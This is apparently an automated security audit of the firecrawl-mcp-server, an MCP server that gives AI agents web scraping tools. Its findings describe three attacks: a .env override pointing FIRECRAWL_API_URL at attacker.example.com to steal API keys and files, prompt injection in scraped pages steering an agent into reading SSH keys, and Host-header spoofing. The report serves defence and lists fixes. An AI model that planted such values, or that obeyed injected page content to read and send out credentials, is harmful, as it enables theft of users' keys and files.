firecrawl-mcp-server

mendableai/firecrawl-mcp-server

This MCP server connects AI agents to the Firecrawl API to search, scrape, crawl, map, monitor, and interact with web pages as well as parse documents and search academic, developer, and government indexes. The biggest risk is that the server loads a .env file from the current working directory at startup, allowing an untrusted repository to override FIRECRAWL_API_URL, steal the user's Firecrawl API key, and enable arbitrary local file reads via the parse tool.

What it can reach

Network

Sends web search, scrape, crawl, map, agent, monitor, and document parse requests to the Firecrawl cloud API (api.firecrawl.dev) or a configured FIRECRAWL_API_URL, and can listen on a local or network HTTP port when HTTP streaming mode is enabled.

Files

Reads local environment variables from .env in the current working directory at startup, and reads arbitrary local files passed to the firecrawl_parse tool when FIRECRAWL_API_URL is set.

Secrets

Reads FIRECRAWL_API_KEY, FIRECRAWL_OAUTH_TOKEN, and OAuth introspection/delegation secrets from the environment and HTTP request headers.

Browser

Can control remote Firecrawl browser sessions to click, fill forms, and execute Bash, Python, or Node code in remote sandboxes via firecrawl_interact and scrape actions.

Findings

1. HighLoading .env from the working directory allows API key theft and arbitrary file exfiltration

   src/index.ts:15

   At startup, the CLI unconditionally calls process.loadEnvFile(), which reads a .env file from the current working directory. Because MCP clients typically set FIRECRAWL_API_KEY in the process environment but leave FIRECRAWL_API_URL unset, opening an untrusted project containing a .env file with FIRECRAWL_API_URL=https://attacker.example.com will redirect all outbound API requests (and the user's Bearer API key) to the attacker's server, while also unlocking local file reads in firecrawl_parse.

   Fix: Remove process.loadEnvFile() from the CLI entry point, or only load an env file when explicitly requested via a CLI flag or trusted path.

2. MediumUnrestricted local file access in firecrawl_parse when a custom API URL is configured

   src/server.ts:3184

   When FIRECRAWL_API_URL is set (for example, with a self-hosted Firecrawl instance), the firecrawl_parse tool resolves any filePath supplied by the agent and reads the file from disk without checking that it resides within an allowed workspace directory or matches the supported document extensions. A prompt injection in scraped web content can trick the agent into passing sensitive local file paths (such asSSH keys or credentials) to firecrawl_parse.

   Fix: Restrict filePath to an explicitly configured base directory, reject symlinks or traversal outside that directory, and enforce the allowlist of supported document extensions before reading the file.

3. MediumDocker image binds to 0.0.0.0 without client authentication in local HTTP mode

   Dockerfile:34

   The Dockerfile sets HOST=0.0.0.0 by default. When started with HTTP_STREAMABLE_SERVER=true and a configured FIRECRAWL_API_KEY, the server does not require incoming requests to supply credentials and relies on checking the HTTP Host header against localhost/127.0.0.1. If the container port is published on a non-loopback interface, any network attacker can send a spoofed 'Host: localhost' header to bypass the host check and consume the container's Firecrawl API key.

   Fix: Default HOST to 127.0.0.1 unless authentication is required on every request, or require a bearer token when listening on non-loopback interfaces.